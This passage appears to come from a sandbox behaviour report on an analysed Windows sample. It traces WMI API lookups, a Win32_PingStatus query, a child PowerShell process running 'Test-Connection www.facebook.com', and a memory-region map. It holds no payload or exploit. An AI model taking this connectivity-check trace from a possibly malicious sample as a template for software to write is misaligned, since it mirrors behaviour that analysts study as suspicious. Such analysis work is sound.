lpMultiByteStr="InheritsFrom»m·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 12 [0121.533] GetProcAddress (hModule=0x6a810000, lpProcName="InheritsFrom") returned 0x6a817900 [0121.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethod", cchWideChar=9, lpMultiByteStr=0x5eee9a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodm·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 9 [0121.535] GetProcAddress (hModule=0x6a810000, lpProcName="GetMethod") returned 0x6a817730 [0121.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutMethod", cchWideChar=9, lpMultiByteStr=0x5eee9a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutMethodm·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 9 [0121.658] GetProcAddress (hModule=0x6a810000, lpProcName="PutMethod") returned 0x6a817bf0 [0121.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DeleteMethod", cchWideChar=12, lpMultiByteStr=0x5eee99c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteMethod»m·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 12 [0121.671] GetProcAddress (hModule=0x6a810000, lpProcName="DeleteMethod") returned 0x6a817320 [0121.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginMethodEnumeration", cchWideChar=22, lpMultiByteStr=0x5eee994, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginMethodEnumeration·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 22 [0121.673] GetProcAddress (hModule=0x6a810000, lpProcName="BeginMethodEnumeration") returned 0x6a816e50 [0121.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NextMethod", cchWideChar=10, lpMultiByteStr=0x5eee9a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMethod·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 10 [0121.675] GetProcAddress (hModule=0x6a810000, lpProcName="NextMethod") returned 0x6a8179d0 [0121.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndMethodEnumeration", cchWideChar=20, lpMultiByteStr=0x5eee994, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndMethodEnumeration»m·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 20 [0121.785] GetProcAddress (hModule=0x6a810000, lpProcName="EndMethodEnumeration") returned 0x6a8173e0 [0121.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodQualifierSet", cchWideChar=21, lpMultiByteStr=0x5eee994, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodQualifierSetm·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 21 [0121.787] GetProcAddress (hModule=0x6a810000, lpProcName="GetMethodQualifierSet") returned 0x6a817790 [0121.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodOrigin", cchWideChar=15, lpMultiByteStr=0x5eee998, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodOrigin", lpUsedDefaultChar=0x0) returned 15 [0121.789] GetProcAddress (hModule=0x6a810000, lpProcName="GetMethodOrigin") returned 0x6a817760 [0121.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Get", cchWideChar=16, lpMultiByteStr=0x5eee998, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Get»m·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 16 [0121.791] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_Get") returned 0x6a817c80 [0121.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Put", cchWideChar=16, lpMultiByteStr=0x5eee998, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Put»m·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 16 [0121.807] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_Put") returned 0x6a817d10 [0121.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Delete", cchWideChar=19, lpMultiByteStr=0x5eee994, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Delete", lpUsedDefaultChar=0x0) returned 19 [0121.823] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_Delete") returned 0x6a817c40 [0121.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_GetNames", cchWideChar=21, lpMultiByteStr=0x5eee994, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_GetNamesm·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 21 [0121.824] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_GetNames") returned 0x6a817cb0 [0121.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_BeginEnumeration", cchWideChar=29, lpMultiByteStr=0x5eee98c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_BeginEnumerationm·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 29 [0121.934] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_BeginEnumeration") returned 0x6a817c20 [0121.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Next", cchWideChar=17, lpMultiByteStr=0x5eee998, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Nextm·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 17 [0121.936] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_Next") returned 0x6a817ce0 [0121.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_EndEnumeration", cchWideChar=27, lpMultiByteStr=0x5eee98c, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_EndEnumeration", lpUsedDefaultChar=0x0) returned 27 [0121.951] GetProcAddress (hModule=0x6a810000, lpProcName="QualifierSet_EndEnumeration") returned 0x6a817c60 [0121.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetCurrentApartmentType", cchWideChar=23, lpMultiByteStr=0x5eee990, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetCurrentApartmentType", lpUsedDefaultChar=0x0) returned 23 [0121.953] GetProcAddress (hModule=0x6a810000, lpProcName="GetCurrentApartmentType") returned 0x6a8178e0 [0121.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetDemultiplexedStub", cchWideChar=20, lpMultiByteStr=0x5eee994, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetDemultiplexedStub»m·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 20 [0121.961] GetProcAddress (hModule=0x6a810000, lpProcName="GetDemultiplexedStub") returned 0x6a8175f0 [0122.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateInstanceEnumWmi", cchWideChar=21, lpMultiByteStr=0x5eee994, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateInstanceEnumWmim·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 21 [0122.070] GetProcAddress (hModule=0x6a810000, lpProcName="CreateInstanceEnumWmi") returned 0x6a817230 [0122.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateClassEnumWmi", cchWideChar=18, lpMultiByteStr=0x5eee998, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateClassEnumWmi·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 18 [0122.202] GetProcAddress (hModule=0x6a810000, lpProcName="CreateClassEnumWmi") returned 0x6a817160 [0122.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecQueryWmi", cchWideChar=12, lpMultiByteStr=0x5eee99c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecQueryWmi»m·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 12 [0122.204] GetProcAddress (hModule=0x6a810000, lpProcName="ExecQueryWmi") returned 0x6a8174e0 [0122.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecNotificationQueryWmi", cchWideChar=24, lpMultiByteStr=0x5eee990, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecNotificationQueryWmi»m·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 24 [0122.242] GetProcAddress (hModule=0x6a810000, lpProcName="ExecNotificationQueryWmi") returned 0x6a817400 [0122.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutInstanceWmi", cchWideChar=14, lpMultiByteStr=0x5eee99c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutInstanceWmi·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 14 [0122.243] GetProcAddress (hModule=0x6a810000, lpProcName="PutInstanceWmi") returned 0x6a817b10 [0122.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutClassWmi", cchWideChar=11, lpMultiByteStr=0x5eee99c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutClassWmi", lpUsedDefaultChar=0x0) returned 11 [0122.366] GetProcAddress (hModule=0x6a810000, lpProcName="PutClassWmi") returned 0x6a817a30 [0122.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloneEnumWbemClassObject", cchWideChar=24, lpMultiByteStr=0x5eee990, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloneEnumWbemClassObject»m·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 24 [0122.368] GetProcAddress (hModule=0x6a810000, lpProcName="CloneEnumWbemClassObject") returned 0x6a816f50 [0122.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConnectServerWmi", cchWideChar=16, lpMultiByteStr=0x5eee998, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConnectServerWmi»m·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 16 [0122.460] GetProcAddress (hModule=0x6a810000, lpProcName="ConnectServerWmi") returned 0x6a817050 [0122.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetErrorInfo", cchWideChar=12, lpMultiByteStr=0x5eee99c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetErrorInfo»m·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 12 [0122.544] GetProcAddress (hModule=0x6a810000, lpProcName="GetErrorInfo") returned 0x6a817650 [0122.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Initialize", cchWideChar=10, lpMultiByteStr=0x5eee9a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Initialize·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 10 [0122.551] GetProcAddress (hModule=0x6a810000, lpProcName="Initialize") returned 0x6a817920 [0122.561] CoCreateInstance (in: rclsid=0x6a813734*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6a813794*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x5eef0c8 | out: ppv=0x5eef0c8*=0x5cc11c0) returned 0x0 [0122.561] WbemLocator:IWbemLocator:ConnectServer (in: This=0x5cc11c0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x5eef168 | out: ppNamespace=0x5eef168*=0x74f020) returned 0x0 [0125.258] WbemLocator:IUnknown:QueryInterface (in: This=0x74f020, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eeefec | out: ppvObject=0x5eeefec*=0x7208b4) returned 0x0 [0125.258] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x7208b4, pProxy=0x74f020, pAuthnSvc=0x5eef03c, pAuthzSvc=0x5eef038, pServerPrincName=0x5eef030, pAuthnLevel=0x5eef034, pImpLevel=0x5eef024, pAuthInfo=0x5eef028, pCapabilites=0x5eef02c | out: pAuthnSvc=0x5eef03c*=0xa, pAuthzSvc=0x5eef038*=0x0, pServerPrincName=0x5eef030, pAuthnLevel=0x5eef034*=0x6, pImpLevel=0x5eef024*=0x2, pAuthInfo=0x5eef028, pCapabilites=0x5eef02c*=0x1) returned 0x0 [0125.259] WbemLocator:IUnknown:Release (This=0x7208b4) returned 0x1 [0125.259] WbemLocator:IUnknown:QueryInterface (in: This=0x74f020, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eeefe0 | out: ppvObject=0x5eeefe0*=0x7208d4) returned 0x0 [0125.259] WbemLocator:IUnknown:QueryInterface (in: This=0x74f020, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eeefcc | out: ppvObject=0x5eeefcc*=0x7208b4) returned 0x0 [0125.259] WbemLocator:IClientSecurity:SetBlanket (This=0x7208b4, pProxy=0x74f020, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0125.259] WbemLocator:IUnknown:Release (This=0x7208b4) returned 0x2 [0125.259] WbemLocator:IUnknown:Release (This=0x7208d4) returned 0x1 [0125.259] CoTaskMemFree (pv=0x755aa0) [0125.259] WbemLocator:IUnknown:AddRef (This=0x74f020) returned 0x2 [0125.259] WbemLocator:IUnknown:Release (This=0x5cc11c0) returned 0x0 [0125.260] CoGetContextToken (in: pToken=0x5eee520 | out: pToken=0x5eee520) returned 0x0 [0125.260] CoGetContextToken (in: pToken=0x5eee934 | out: pToken=0x5eee934) returned 0x0 [0125.260] WbemLocator:IUnknown:QueryInterface (in: This=0x74f020, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eee8cc | out: ppvObject=0x5eee8cc*=0x7208bc) returned 0x0 [0125.261] WbemLocator:IRpcOptions:Query (in: This=0x7208bc, pPrx=0x5cc9890, dwProperty=2, pdwValue=0x5eee9c0 | out: pdwValue=0x5eee9c0) returned 0x80004002 [0125.261] WbemLocator:IUnknown:Release (This=0x7208bc) returned 0x2 [0125.261] CoGetContextToken (in: pToken=0x5eeef04 | out: pToken=0x5eeef04) returned 0x0 [0125.261] CoGetContextToken (in: pToken=0x5eeee64 | out: pToken=0x5eeee64) returned 0x0 [0125.261] WbemLocator:IUnknown:QueryInterface (in: This=0x74f020, riid=0x5eeef34*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5eeee00 | out: ppvObject=0x5eeee00*=0x74f020) returned 0x0 [0125.261] WbemLocator:IUnknown:Release (This=0x74f020) returned 0x2 [0125.262] SysStringLen (param_1=0x0) returned 0x0 [0125.262] CoUninitialize () Thread: id = 146 os_tid = 0xd64 [0125.302] CoGetContextToken (in: pToken=0x20af1d0 | out: pToken=0x20af1d0) returned 0x0 [0125.302] CoGetContextToken (in: pToken=0x20af1bc | out: pToken=0x20af1bc) returned 0x0 [0125.303] CoGetMarshalSizeMax (in: pulSize=0x20af178, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5cc9890, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x20af178) returned 0x0 [0125.305] CoMarshalInterface (pStm=0x748550, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5cc9890, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0125.308] WbemLocator:IUnknown:QueryInterface (in: This=0x74f020, riid=0x74cf10*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x20af0b0 | out: ppvObject=0x20af0b0*=0x74f020) returned 0x0 [0125.308] WbemLocator:IUnknown:QueryInterface (in: This=0x74f020, riid=0x6a7562ec*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x20af04c | out: ppvObject=0x20af04c*=0x74f020) returned 0x0 [0125.308] WbemLocator:IUnknown:QueryInterface (in: This=0x74f020, riid=0x6a7562ec*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x20af004 | out: ppvObject=0x20af004*=0x74f020) returned 0x0 [0127.168] IWbemServices:GetObject (in: This=0x74f020, strObjectPath="Win32_PingStatus", lFlags=0, pCtx=0x0, ppObject=0x20af1d0*=0x0, ppCallResult=0x0 | out: ppObject=0x20af1d0*=0x5ce4508, ppCallResult=0x0) returned 0x0 Thread: id = 165 os_tid = 0x934 Thread: id = 166 os_tid = 0x938 [0127.747] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0127.748] CoGetContextToken (in: pToken=0x603f544 | out: pToken=0x603f544) returned 0x0 [0127.748] IUnknown:QueryInterface (in: This=0x6adc48, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x603f568 | out: ppvObject=0x603f568*=0x6adc54) returned 0x0 [0127.749] IComThreadingInfo:GetCurrentThreadType (in: This=0x6adc54, pThreadType=0x603f594 | out: pThreadType=0x603f594*=0) returned 0x0 [0127.749] IUnknown:Release (This=0x6adc54) returned 0x1 [0127.749] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0127.749] CoUninitialize () Thread: id = 167 os_tid = 0x944 Thread: id = 170 os_tid = 0x950 Thread: id = 173 os_tid = 0x95c Thread: id = 176 os_tid = 0xa74 Process: id = "4" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x36473000" os_pid = "0xf38" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xed0" cmd_line = "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Test-Connection www.facebook.com" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e95f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1440 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1441 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1442 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1443 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1444 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1445 start_va = 0xf0000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1446 start_va = 0x150000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1447 start_va = 0xa70000 end_va = 0xadafff monitored = 0 entry_point = 0xa7d330 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe") Region: id = 1448 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1449 start_va = 0x77040000 end_va = 0x771bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1450 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1451 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1452 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1453 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1454 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1455 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1456 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1457 start_va = 0x200000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1458 start_va = 0x74880000 end_va = 0x748dbfff monitored = 0 entry_point = 0x748bf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1459 start_va = 0x748e0000 end_va = 0x7491efff monitored = 0 entry_point = 0x7490e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1460 start_va = 0x74950000 end_va = 0x74957fff monitored = 0 entry_point = 0x749520f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1461 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1462 start_va = 0x75d40000 end_va = 0x75e4ffff monitored = 0 entry_point = 0x75d53283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1463 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1464 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c40000" filename = "" Region: id = 1465 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1466 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076d60000" filename = "" Region: id = 1467 start_va = 0x280000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1468 start_va = 0x75d40000 end_va = 0x75e4ffff monitored = 0 entry_point = 0x75d53283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1469 start_va = 0x75150000 end_va = 0x75196fff monitored = 0 entry_point = 0x751574c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1470 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1471 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1472 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1483 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1484 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1485 start_va = 0x75ca0000 end_va = 0x75d3ffff monitored = 0 entry_point = 0x75cb49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1486 start_va = 0x74cf0000 end_va = 0x74d9bfff monitored = 0 entry_point = 0x74cfa472 region_type = mapped_file name = "msvcrt.dll" filename = 